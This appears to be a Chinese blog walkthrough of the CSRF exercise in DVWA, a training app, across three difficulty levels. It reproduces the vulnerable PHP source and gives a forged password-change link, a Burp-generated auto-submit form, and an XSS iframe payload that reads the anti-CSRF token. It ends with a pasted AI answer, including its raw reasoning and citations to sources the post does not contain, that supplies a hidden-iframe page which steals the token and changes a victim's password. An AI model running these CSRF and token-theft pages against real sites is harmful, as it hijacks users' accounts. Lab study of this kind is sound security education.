DVWA-CSRF漏洞【全难度】

CSRF漏洞全称是Cross-site Request Forgery,跨站请求伪造。

这个漏洞主要的思路是利用了本来就登录在目标网站A的用户,当这些用户点击了相应的伪造网站B后,这些网站中的陷阱就会使用户访问网站A(在用户不知道的情况下),这样就可以借助用户之手,做到列入修改密码之类的操作。

Low级别

在这里插入图片描述

我们可以看看源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

我们可以看到,这份源码没有什么防御机制,没有Token值。同时我们可以看出,这个密码值是直接用GET请求进行提交的。
所以我们可以直接构造链接(因为我这边是直接使用的Docker进行DVWA的搭建,本地端口对其进行了映射,所以这里是8082,自己搭建的用自己的URL就好了):

http://localhost:8082/vulnerabilities/csrf/index.php?password_new=admin123&password_conf=admin123&Change=Change#

直接执行链接后,就会跳转到修改密码页面,并且显示密码修改成功。
在这里插入图片描述

利用漏洞

我们要利用这个漏洞,首先需要找一个受害者。
使用BurpSuite可以快速构造攻击页面:
在这里插入图片描述
在这里插入图片描述
这里我们获取并且构造我们想要的页面,当受害者访问了我们的页面并且点击了按钮,就会被修改密码

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8082/vulnerabilities/csrf/index.php">
      <input type="hidden" name="password&#95;new" value="hack123" />
      <input type="hidden" name="password&#95;conf" value="hack123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

注意,受害者必须要使用他登录过这个网站(我们以DVWA为例)的浏览器,因为受害者的登录信息是会被存储到这个浏览器中的,如果使用别的浏览器,只会跳转到dvwa的开始登录界面。

Medium级别

我们再看看源码

 <?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])!=-1 ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从第一行的if判断

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])!=-1 )

我们可以看出这个级别的难度是为了让我们关注$_SERVER[ 'HTTP_REFERER' ],也就是我们访问时候的http头部中的Referer字段问题。
直接修改头部就行(不过我这边直接不用修改也可以完成修改密码,我也不清楚为什么)
在这里插入图片描述
不懂Referer请求头的可以去网上搜搜,或者问问GPT。

High级别

看看源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

从这里

   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

可以知道他开始检测Token值了。我们可以直接Token绕过。

使用BurpSuite进行Token绕过

BurpSuite中有一个插件,叫做CSRF Token Tracker
在这里插入图片描述
安装后进行使用

利用XSS漏洞配合

不过我研究了一个下午,我发现我的BurpSuite中这个插件总是没有反应,我也不知道为什么,可能是某些地方总是会有Bug吧,所以我使用了另一个方法,那就是和Xss联动。(如果有人用这个插件弄出来的可以给我讲讲是怎么办到的)

因为我们知道,当你每一次访问CSRF的修改密码的界面的时候,都会导致你的浏览器获得了一个新的user_token,所以如果此时,受害者没有继续更新加载这个页面,那么Token值就会作为一个变量存在浏览器中。所以我们使用XSS攻击就可以直接获取到它的值。

PayLoad如下:

<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

这个Payload首先跳转到了csrf页面,onload在页面加载时就开始执行,获取了frames[0],也就是我们的iframe中的自己的token

在这里插入图片描述

此时,如果不出意外的话,此时间段整个浏览器的token就只有我们获得的这一个。

然后我们利用这个Token进行和上文一样的方式,就可以修改掉密码了
在这里插入图片描述

<think>我们正在处理DVWA(Damn Vulnerable Web Application)中的CSRF(跨站请求伪造)漏洞的高级别(High)难度。在这个级别中,服务器引入了Anti-CSRF token机制,即每次用户访问修改密码页面时,服务器会生成一个随机的token(user_token),并嵌入在页面中。当用户提交修改密码请求时,必须同时提交这个token,服务器会验证token的有效性。因此,直接构造一个恶意链接是无法成功的,因为token是随机且一次性的。 根据引用[2]和[3],攻击者需要结合XSS(跨站脚本攻击)漏洞来获取页面中的user_token,然后构造一个包含该token的CSRF攻击。具体来说,攻击者可以制作一个恶意页面,该页面通过iframe嵌入目标页面(修改密码页面),然后利用JavaScript从iframe中提取user_token,并自动填充到恶意页面中的表单中,最后自动提交表单。 引用[3]提供了一个恶意页面的示例代码。我们分析一下这段代码: 1. 首先,定义了一个JavaScript函数`attack()`,该函数的功能是: - 从iframe(id为"hack")中获取嵌入的页面(即DVWA的修改密码页面)中的user_token的值。 - 将这个值赋给当前页面中名为'user_token'的隐藏输入框。 - 提交表单(id为"transfer")。 2. 然后,通过一个iframe标签嵌入DVWA的修改密码页面(注意:src属性指向目标页面),并设置该iframe为不可见(style="display:none;")。 3. 在body标签中设置onload事件,当页面加载完成时调用attack()函数。 4. 构造一个表单(id为"transfer"),其action指向修改密码的URL。表单中包含以下隐藏字段: - password_new: 要设置的新密码(例如"password") - password_conf: 确认密码(同上) - user_token: 从目标页面中获取的token(初始为空,由attack函数填充) - Change: 固定为"Change" 因此,当用户访问这个恶意页面时,会触发以下过程: - 加载页面,包括iframe(虽然不可见,但会加载目标页面)。 - 页面加载完成后,触发onload事件,调用attack()函数。 - attack()函数从iframe中的页面获取user_token,并填充到表单的user_token字段中。 - 自动提交表单,完成密码修改。 需要注意的是,由于同源策略(Same-Origin Policy),如果目标页面(DVWA)和恶意页面不在同一个域,那么JavaScript将无法读取iframe中的内容。因此,这个攻击通常要求恶意页面与目标站点同源(即部署在同一域名下),或者目标站点存在允许跨域访问的漏洞。在DVWA环境中,我们通常将恶意页面部署在同一台主机上(或者通过本地文件系统打开)来绕过同源策略的限制。 操作步骤: 1. 将引用[3]中的代码保存为一个HTML文件(例如attack.html)。 2. 修改代码中的URL,确保指向你的DVWA实例中的CSRF漏洞页面(例如:src="http://192.168.153.130/dvwa/vulnerabilities/csrf")。 3. 同样,修改表单的action属性为相同的URL。 4. 将恶意页面放置在攻击者的服务器上,或者直接通过文件系统打开(注意:现代浏览器由于安全原因,可能不允许本地文件执行跨域请求,因此建议使用Web服务器)。 5. 诱使受害者(已登录DVWA的用户)访问这个恶意页面。 当受害者访问恶意页面时,其密码将被修改为攻击者设定的密码(例如"password")。 注意:在实际攻击中,攻击者可能会将恶意页面伪装成正常页面,以诱骗用户点击。 引用[2]和[3]提供了关键信息,即通过XSS获取token(但这里并没有使用XSS,而是通过iframe嵌入页面并利用JavaScript读取token,这需要同源或目标页面没有设置X-Frame-Options头,且同源策略允许)。在DVWA中,CSRF页面通常没有设置X-Frame-Options,因此可以嵌入到iframe中。 但是,如果目标站点设置了X-Frame-Options为DENY或SAMEORIGIN,那么将无法嵌入到不同源的iframe中。在DVWA中,默认情况下没有设置这个头,所以可以嵌入。 因此,在DVWA High级别的CSRF攻击中,使用上述方法即可。 下面是根据引用[3]修改后的一个示例代码(注意替换URL):</think>在DVWA CSRF High难度中,使用获取`user_token`的脚本需要结合XSS漏洞绕过Anti-CSRF机制。以下是关键步骤和操作原理: ### 操作原理 1. **Anti-CSRF机制**:High级别要求每次请求携带动态生成的`user_token`,该token存在于修改密码页面的HTML表单中[^1]。 2. **攻击思路**:通过恶意页面嵌入目标页面(iframe),利用JavaScript窃取目标页面的`user_token`,自动填充并提交伪造请求[^3]。 ### 操作步骤 1. **构造恶意页面**: ```html <script> function attack() { // 从iframe中的目标页面窃取user_token let token = document.getElementById("hack").contentWindow.document .getElementsByName('user_token')[0].value; // 填充到恶意表单 document.getElementsByName('user_token')[0].value = token; // 自动提交表单 document.getElementById("transfer").submit(); } </script> <iframe src="http://DVWA-IP/dvwa/vulnerabilities/csrf" id="hack" style="display:none"> <!-- 隐藏iframe --> </iframe> <body onload="attack()"> <!-- 页面加载时触发攻击 --> <form id="transfer" method="GET" action="http://DVWA-IP/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="hacked"> <input type="hidden" name="password_conf" value="hacked"> <input type="hidden" name="user_token" value=""> <!-- 由JS填充 --> <input type="hidden" name="Change" value="Change"> </form> </body> ``` 2. **关键参数说明**: - `password_new/password_conf`:设置的新密码(示例中为`hacked`) - `action`:指向DVWACSRF漏洞URL - `iframe.src`:加载真实修改密码页面以窃取token 3. **执行流程**: 1. 用户访问恶意页面 2. 隐藏iframe加载DVWA修改密码页 3. JavaScript提取iframe中的`user_token` 4. 自动填充并提交表单,携带合法token 5. 服务器验证token通过,密码被修改[^2][^3] ### 注意事项 1. **同源策略限制**:恶意页面需与DVWA同域(或启用CORS),否则无法读取iframe内容 2. **用户状态**:受害者必须已登录DVWA且会话有效 3. **诱导方式**:通过社工手段诱使用户点击恶意链接 > 此攻击成功的关键在于**动态获取最新token**,直接使用固定token会因失效而失败[^2]。实际测试时需替换`DVWA-IP`为靶机真实IP。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值